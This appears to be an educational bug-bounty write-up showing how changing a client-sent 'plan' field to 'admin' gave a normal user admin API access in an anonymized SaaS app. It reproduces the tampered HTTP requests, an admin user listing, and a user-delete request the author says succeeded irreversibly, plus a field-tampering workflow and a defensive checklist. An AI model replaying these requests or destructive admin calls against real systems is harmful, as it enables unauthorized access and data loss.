(Privilege Escalation via Trusting Client Input – Educational Case Study)
Disclaimer
This write-up is for educational and defensive purposes only.
All endpoints, parameters, roles, and identifiers are fully anonymized.
No real system was harmed.
This article demonstrates how parameter tampering leads to admin access without admin credentials.
Why Parameter Tampering Is Still Devastating in 2025
Many people think parameter tampering is:
- Old-school
- Low impact
- Already fixed everywhere
That belief is dangerously wrong.
🔥 Parameter tampering is often the last missing piece between a normal user and full admin control.
This post shows how I reached admin-level functionality
➡️ without admin login
➡️ without role change in database
➡️ without exploiting auth directly
Just by changing what the server trusted.
Target Overview (Anonymized)
- Type: SaaS web application
- Roles:
- user
- staff
- admin
- Auth: JWT-based
- Frontend: SPA (React-like)
- Backend: REST API
Phase 1: Spotting the Role Logic Leak
After logging in as a normal user, I inspected my JWT:
{
"user_id": 2194,
"role": "user",
"plan": "free"
}
Nothing interesting… until I looked at requests, not tokens.
Phase 2: The Suspicious Request
When visiting Account Settings, the frontend sent:
POST /api/user/update HTTP/1.1
Authorization: Bearer <JWT>
Content-Type: application/json
{
"email": "me@example.com",
"plan": "free"
}
🚩 Red Flag:
Why is plan coming from the client?
Phase 3: The Classic Test (One-Line Change)
I sent the same request via Burp Repeater, but modified one value:
{
"email": "me@example.com",
"plan": "admin"
}
Response:
{
"status": "updated"
}
No error.
No validation.
At this point, I didn’t assume admin access.
I verified it.
Phase 4: Checking for Privilege Drift
I refreshed the dashboard.
New menu item appeared:
Admin Dashboard
😐
The UI adapted based on server response.
This confirmed:
Role/plan was being trusted from user input
Phase 5: Direct Admin Endpoint Access
Now I tested admin-only APIs.
GET /api/admin/users HTTP/1.1
Authorization: Bearer <JWT>
Response:
[
{ "id": 1, "email": "admin@hidden.com" },
{ "id": 2, "email": "user@hidden.com" }
]
This was not a UI bug.
This was full admin access.
Phase 6: The Real Damage (Write Operations)
Read access is bad.
Write access ends companies.
I tested carefully:
POST /api/admin/user/delete HTTP/1.1
Authorization: Bearer <JWT>
Content-Type: application/json
{
"user_id": 2201
}
Response:
{ "status": "deleted" }
That’s irreversible.
Root Cause (The Real Mistake)
❌ What the Backend Did
- Accepted role / plan from client
- Used it directly for authorization
- Didn’t cross-check with database
This is trusting user-controlled parameters for access control.
✅ What Should Have Been Done
Roles must be:
- Stored server-side
- Immutable via user endpoints
- Verified on every request
Correct pattern:
role = db.get_user_role(request.user.id)
if role != "admin":
deny()
Why This Happens in Real Teams
Because:
- Developers reuse DTOs
- Frontend models mirror backend models
- “Hidden fields” are assumed safe
- Testing is UI-based, not API-based
Attackers live below the UI.
How I Systematically Find Parameter Tampering
This is my exact workflow:
1️⃣ Identify mutable fields
- role
- plan
- is_admin
- permissions
- price
- status
2️⃣ Modify them
- String → higher privilege
- Boolean → true
- Number → negative / large
3️⃣ Observe backend behavior
- Silent success = exploit
- Validation error = good sign
Tools Used
| Tool | Why |
|---|---|
| Browser DevTools | Identify parameters |
| Burp Suite | Tampering |
| Repeater | Controlled escalation |
| Brain | Always |
Severity Analysis
| Aspect | Impact |
|---|---|
| Privilege escalation | Critical |
| Data loss | High |
| Business impact | Severe |
| Detection | Low |
Severity:
Critical – Full Administrative Takeover
Defensive Checklist (Developers, Read This)
- ❌ Never trust client-sent roles
- ❌ Never trust hidden fields
- ✅ Enforce role server-side
- ✅ Validate allowed field updates
- ✅ Separate user & admin models
Final Thoughts
This wasn’t exploitation.
This was permission abuse.
The server allowed it.
And that’s why these bugs survive code reviews.
